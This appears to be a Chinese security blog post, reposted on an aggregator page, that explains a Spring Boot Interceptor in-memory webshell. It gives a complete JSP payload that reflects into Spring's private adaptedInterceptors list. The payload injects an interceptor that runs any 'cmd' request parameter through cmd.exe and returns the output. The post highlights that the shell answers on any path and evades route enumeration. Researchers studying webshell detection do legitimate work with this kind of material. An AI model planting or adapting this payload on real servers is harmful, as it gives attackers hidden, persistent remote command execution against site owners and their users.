当前位置: 首页 > news >正文

原理分析 | Interceptor —— SpringBoot 内存马

原理分析 | Interceptor —— SpringBoot 内存马

目录

  • 前言
  • Interceptor 是什么
  • 静态注册原理
  • 静态注册 Demo
  • 动态注册(内存马)
  • JSP Payload
  • 验证
  • 总结

前言

还是利用上篇的环境,这篇写 Interceptor 内存马。

Interceptor 和 Controller 内存马最大的区别在于:Controller 内存马注册了一个新路径 /shell,只有访问这个路径才触发;Interceptor 内存马不产生新路径,塞进拦截器链之后,任意请求都会触发,隐蔽性更强。


Interceptor 是什么

Interceptor 类似 Filter 的拦截,功能上很像,都是拦截请求在业务逻辑前后做处理,但层级不同:

请求进来↓
Filter(Tomcat层,最外层)↓
DispatcherServlet↓
Interceptor(Spring层,更靠近Controller)↓
Controller

Interceptor 有三个方法:

方法 执行时机 说明
preHandle Controller 执行之前 返回 false 就拦截,不往下走
postHandle Controller 执行之后 可以修改响应
afterCompletion 响应渲染完成后 清理资源用

内存马注入的是 preHandle,请求一进来就执行命令。

常见用途对比:

Filter Interceptor
鉴权登录校验
日志记录
跨域处理
请求参数修改 ✗(太晚了)
获取 Controller 信息 ✓(handler 参数)
操作 ModelAndView ✓(postHandle)

实际开发中:

  • Filter 更多做通用处理,比如编码设置、跨域、IP 黑名单
  • Interceptor 更多做业务层面的拦截,比如登录校验、权限验证、接口耗时统计

开发者写 Filter 只需写 @WebFilter 一个注解搞定,但 Interceptor 稍微麻烦一点,需要自己注册,下面先看正常的静态注册流程。


静态注册原理

静态注册的整体流程:

WebConfig.addInterceptors(registry)↓
registry.addInterceptor(evilInterceptor)↓
Spring 内部把它塞进 adaptedInterceptors 这个 List↓
等待请求触发

一、Spring 怎么知道要调 addInterceptors()

Spring 启动时会扫描所有实现了 WebMvcConfigurer 接口的类,然后自动调用接口里定义的所有方法。前提是类被 Spring 管理,必须有注解:

有 @Configuration / @Component 注解+
实现了 WebMvcConfigurer 接口↓
Spring 启动时才会扫描到并调用 addInterceptors()

类比 Filter:

// Filter 需要 @WebFilter 告诉 Tomcat 来扫描
@WebFilter("/*")
public class MyFilter implements Filter { ... }// Interceptor 需要 @Configuration/@Component 告诉 Spring 来扫描
@Configuration
public class WebConfig implements WebMvcConfigurer { ... }

Tomcat 启动时找所有 Filter 实现类调 doFilter,Spring 启动时找所有 WebMvcConfigurer 实现类调 addInterceptors,思路是一样的:

// Tomcat 规定:Filter 必须实现这个接口
public interface Filter {void doFilter(...);
}// Spring 规定:配置类实现这个接口
public interface WebMvcConfigurer {void addInterceptors(InterceptorRegistry registry);
}

二、registry 从哪来的

registry 是 Spring 传进来的,不是自己创建的:

// Spring 调用这个方法时,自己 new 了一个 registry 传进来
public void addInterceptors(InterceptorRegistry registry) {registry.addInterceptor(new EvilInterceptor());
}

类比快递:Spring 是快递公司,registry 是给你的收件箱,你往里放拦截器,快递公司拿走统一处理,不需要关心 registry 怎么来的。

三、addInterceptors() 执行完之后怎么进 adaptedInterceptors

调用 registry.addInterceptor(evilInterceptor)↓
registry 内部把 evilInterceptor 存进自己的临时 List↓
Spring 拿到 registry,把里面的拦截器取出来↓
塞进 AbstractHandlerMapping.adaptedInterceptors

类比 Filter 注册:

// Filter 注册:直接往 StandardContext 里塞
standardContext.addFilterDef(filterDef);
standardContext.addFilterMapBefore(filterMap);
filterConfigs.put("evil", filterConfig);// Interceptor 静态注册:通过 registry 中转
registry.addInterceptor(evilInterceptor); // 放进中转站
// Spring 自动把中转站里的东西转移到 adaptedInterceptors

内存马之所以要反射,就是跳过 registry 这个中转站,直接往 adaptedInterceptors 里塞。因为启动阶段结束之后 Spring 就不再扫描 WebMvcConfigurer 了,registry 也消失了,运行时唯一能访问到的入口就是 adaptedInterceptors

// 内存马:跳过中转,直接塞进去
adaptedInterceptors.add(evilInterceptor);

串起来对比:

静态注册:
WebConfig.addInterceptors(registry)→ registry.addInterceptor(拦截器)→ Spring 把 registry 里的拦截器转移到 adaptedInterceptors→ 等待请求触发动态注册(内存马):
反射拿到 adaptedInterceptors→ 直接 add(恶意拦截器)→ 等待请求触发

两种方式最终结果一样,都是把拦截器塞进 adaptedInterceptors,只是路径不同。


静态注册 Demo

先写一个正常的静态 Interceptor 看看效果,再上内存马。

EvilInterceptor.java

package com.example.demos.web;import org.springframework.stereotype.Component;
import org.springframework.web.servlet.HandlerInterceptor;import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;// @Component — 告诉 Spring 这个类是一个组件,纳入容器管理
// 这样 WebConfig 里才能 @Autowired 注入它
// 其实可以不写,WebConfig 里直接 new 出来也行:new EvilInterceptor()
@Component
// HandlerInterceptor — Spring MVC 的拦截器接口,必须实现它
public class EvilInterceptor implements HandlerInterceptor {// preHandle — Controller 执行之前触发// 返回 true 放行,返回 false 拦截,请求到此为止@Overridepublic boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {System.out.println("preHandle 触发了,请求路径:" + request.getRequestURI());return true; // 放行}// postHandle — Controller 执行之后触发@Overridepublic void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, org.springframework.web.servlet.ModelAndView modelAndView) {System.out.println("postHandle 触发了");}// afterCompletion — 响应渲染完成后触发,一般用来清理资源@Overridepublic void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) {System.out.println("afterCompletion 触发了");}
}

WebConfig.java

package com.example.demos.web;import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;// @Configuration / @Component 都行
// Spring 启动时扫描的条件:
// 1. 类被 Spring 管理(有 @Component、@Configuration 等注解)
// 2. 实现了 WebMvcConfigurer 接口
// 满足这两个条件,Spring 就会自动调用 addInterceptors()
@Component
// 实现 WebMvcConfigurer 接口,重写 addInterceptors() 方法
public class WebConfig implements WebMvcConfigurer {// 前面写了 @Component 可以直接 @Autowired 注入// 如果不写 @Component 就需要改成:EvilInterceptor evilInterceptor = new EvilInterceptor();@Autowiredprivate EvilInterceptor evilInterceptor;// 把拦截器注册进 Spring MVC// /* 只能拦截一级路径,/** 拦截所有路径(Ant 风格)// 对比 Filter(Servlet规范):/* 就是所有路径,规范不同@Overridepublic void addInterceptors(InterceptorRegistry registry) {registry.addInterceptor(evilInterceptor).addPathPatterns("/**"); // 拦截所有路径}
}

随便访问一个路径就会触发,访问 http://127.0.0.1:8080/hello,即使路径不存在也能被触发。

因为 Interceptor 是在 DispatcherServlet 之后、Controller 之前触发的,不管路径存不存在,只要请求进了 DispatcherServlet 就会过拦截器:

请求 /不存在的路径↓
DispatcherServlet 接收↓
Interceptor.preHandle() 触发 ← 这里已经触发了↓
查路由表找不到对应 Controller↓
转发到 /error↓
Interceptor.preHandle() 再触发一次 ← /error 也过一遍

控制台可以看到三个方法依次触发:preHandle → postHandle → afterCompletion。


动态注册(内存马)

思路就是找到 adaptedInterceptors,构造恶意 Interceptor 塞进去。

Step 1:拿到 handlerMapping

和 Controller 内存马一样,从 Spring 容器里取:

// Java 版用 @Autowired 直接注入
@Autowired
private RequestMappingHandlerMapping handlerMapping;// JSP 版手动取
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(request.getServletContext());
RequestMappingHandlerMapping handlerMapping =context.getBean(RequestMappingHandlerMapping.class);

Step 2:反射拿到 adaptedInterceptors

这个字段是私有的,而且在父类 AbstractHandlerMapping 里,getDeclaredField 只找当前类不找父类,所以要遍历父类找:

RequestMappingHandlerMapping        ← handlerMapping 的实际类型,没有这个字段↑ 继承
RequestMappingInfoHandlerMapping    ← 没有这个字段↑ 继承
AbstractHandlerMapping              ← adaptedInterceptors 在这里
Field field = null;
// 拿到 handlerMapping 当前类,从这里开始往上找
Class<?> clazz = handlerMapping.getClass();
while (clazz != null) {try {field = clazz.getDeclaredField("adaptedInterceptors");break; // 找到退出} catch (NoSuchFieldException e) {clazz = clazz.getSuperclass(); // 没找到往父类找}
}
field.setAccessible(true); // 破坏私有限制
List<HandlerInterceptor> adaptedInterceptors =(List<HandlerInterceptor>) field.get(handlerMapping);

field.get(handlerMapping) 是取 handlerMapping 这个对象里 adaptedInterceptors 字段的值,必须传入对象,因为这是实例字段不是静态字段。

Step 3:构造恶意 Interceptor 塞进去

这里用的是匿名内部类,和 Filter 内存马一样的写法:

// 正常具名类写法:先定义再实例化
public class EvilInterceptor implements HandlerInterceptor { ... }
EvilInterceptor evil = new EvilInterceptor();
adaptedInterceptors.add(evil);// 匿名内部类写法:定义和实例化合并成一步,用完即丢
adaptedInterceptors.add(new HandlerInterceptor() {@Overridepublic boolean preHandle(HttpServletRequest request,HttpServletResponse response,Object handler) throws Exception {String cmd = request.getParameter("cmd");if (cmd != null && !cmd.isEmpty()) {// 执行命令,返回结果...return false; // 拦截,不往下走}return true; // 没有 cmd 参数正常放行}
});

和静态注册对比:

静态注册:
registry.addInterceptor() → Spring 转移到 adaptedInterceptors动态注册:
反射拿到 adaptedInterceptors → 直接 add()

跳过了 registry 中转,直接操作最终存储的 List,效果完全一样。


JSP Payload

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.springframework.web.context.WebApplicationContext" %>
<%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
<%@ page import="org.springframework.web.servlet.HandlerInterceptor" %>
<%@ page import="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.List" %><%// Step 1: 拿到 handlerMappingWebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(request.getServletContext());RequestMappingHandlerMapping handlerMapping =context.getBean(RequestMappingHandlerMapping.class);// Step 2: 反射拿到 adaptedInterceptors(在父类 AbstractHandlerMapping 里,需要遍历父类)Field field = null;Class<?> clazz = handlerMapping.getClass();while (clazz != null) {try {field = clazz.getDeclaredField("adaptedInterceptors");break;} catch (NoSuchFieldException e) {clazz = clazz.getSuperclass();}}field.setAccessible(true);List<HandlerInterceptor> adaptedInterceptors =(List<HandlerInterceptor>) field.get(handlerMapping);// Step 3: 构造恶意 Interceptor 塞进去adaptedInterceptors.add(new HandlerInterceptor() {@Overridepublic boolean preHandle(javax.servlet.http.HttpServletRequest request,javax.servlet.http.HttpServletResponse response,Object handler) throws Exception {String cmd = request.getParameter("cmd");if (cmd != null && !cmd.isEmpty()) {ProcessBuilder pb = new ProcessBuilder("cmd.exe", "/c", cmd);pb.redirectErrorStream(true);Process process = pb.start();java.io.InputStream is = process.getInputStream();java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();byte[] buf = new byte[1024];int len;while ((len = is.read(buf)) != -1) {baos.write(buf, 0, len);}response.getWriter().write(baos.toString());return false; // 拦截,不放行}return true; // 没有 cmd 参数正常放行}});response.getWriter().write("注入成功!任意路径带上 ?cmd=whoami 验证");
%>

验证

访问 http://127.0.0.1:8080/inject.jsp 触发注入:

访问 http://127.0.0.1:8080/?cmd=whoami,任意路径带上 cmd 参数都能触发,不需要特定路径:

重启后直接访问报错,证明内存马生效,重启即失效:


总结

Interceptor 内存马三步:

拿到 handlerMapping(Spring 容器里取)↓
反射遍历父类找到 adaptedInterceptors(私有字段,在 AbstractHandlerMapping 里)↓
add(恶意 Interceptor) 塞进拦截器链

和前几种内存马横向对比:

Filter 内存马 Controller 内存马 Interceptor 内存马
触发方式 任意请求 访问指定路径 任意请求
作用层 Tomcat 层 Spring 层 Spring 层
注册方式 反射修改私有集合 官方公开 API 反射修改私有字段
隐蔽性 中(路由可枚举)

Controller 内存马用的是官方公开 API registerMapping(),Interceptor 内存马则要反射硬改私有字段,因为 Spring 没有提供运行时动态注册拦截器的公开接口。隐蔽性上 Interceptor 比 Controller 强,不产生新路由,Actuator /actuator/mappings 枚举不到,任意路径都能触发,更接近 Filter 内存马的效果。

http://www.jsqmd.com/news/719015/

相关文章:

  • 2026年西藏高原建筑革新指南:装配式建筑与绿色预制构件完全对标方案 - 优质企业观察收录
  • Obsidian标题自动编号:3步告别手动烦恼,让笔记结构更专业
  • Flowable工作流实战:通过RuoYi-Vue-Pro的数据库表变化,彻底搞懂流程实例的生命周期
  • VS Code MCP服务注册中心设计全透视:从单机调试到K8s集群部署的7层架构演进图,含gRPC+WebSocket双通道选型决策矩阵
  • 如何在Mac上轻松运行Windows应用:Whisky完整指南与实战教程
  • 为什么说程序员接单群是最好的接单渠道?
  • 2026年西藏装配式建筑深度横评:拉萨集成房屋与高原绿色建材选购指南 - 优质企业观察收录
  • 告别编译报错!保姆级教程:在VS2017/2022中配置Crypto++ 8.8.0静态库(含x64/Release配置)
  • PetaPoco映射器自定义指南:从标准映射到约定映射
  • RTranslator终极指南:开源Android离线实时翻译应用完全教程
  • 保姆级教程:在Firefly RK3588开发板上部署DBNet+CRNN OCR,从模型导出到PyQt界面全流程
  • LL库实现SPI MDA发送方式驱动WS2812
  • 搞定移动端H5页面那些烦人的默认手势:iOS Safari与Android Chrome全兼容方案
  • 2026雨水井篦子厂家及选型指南:基于陕西市场与合规的行业研报 - 深度智识库
  • SpringBoot+Vue项目里,我是这样用双Token让用户‘无感’登录的(附完整代码)
  • 过节礼品卡闲置无用,五一用喵权益盘活天猫超市卡更划算 - 喵权益卡劵助手
  • 量子退火与QUBO编码的热力学原理及优化实践
  • 保姆级教程:用改良版API解决GPT-SoVITS中英混合与标点切分难题
  • Steam成就管理器:5分钟解锁所有游戏成就的终极指南
  • 别再死记硬背了!用‘官能团’这把钥匙,轻松解锁有机化学命名与反应规律
  • 国内主流消毒设备厂家实测排行 聚焦合规性与场景适配 - 奔跑123
  • 讲讲广西兴辉腾管业,合作案例多不多,人才储备够不够,靠谱不 - 工业品牌热点
  • HarmonyOS 6 Progress组件设置定制内容区使用文档
  • VSCode里写数学公式PPT太香了!Marp插件搭配LaTeX语法完全指南
  • 3步解决RTranslator模型下载慢:告别数小时等待,5分钟快速部署
  • OnmyojiAutoScript技术解析:基于事件驱动的阴阳师自动化框架设计与实现
  • 互联网大厂 Java 求职面试:音视频应用的技术挑战
  • 2026年分析定制桶装水,找哪家能快速联系 - 工业品牌热点
  • 2026源头地磅生产工厂梳理:数字式地磅/物联网地磅/防雷地磅/无基坑地磅/移动式地磅厂家推荐选购指引 - 品牌推荐大师1
  • .NET 9 AOT+容器化边缘部署:实测启动提速87%、内存降42%,这6个参数你调对了吗?